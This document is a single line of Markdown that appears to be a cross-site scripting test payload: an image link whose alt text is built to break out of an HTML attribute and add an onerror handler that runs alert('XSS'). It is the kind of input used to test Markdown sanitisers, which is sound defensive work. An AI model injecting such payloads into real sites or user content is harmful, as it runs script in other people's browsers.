![" onerror="alert('XSS')"](https://example.com/404.jpg)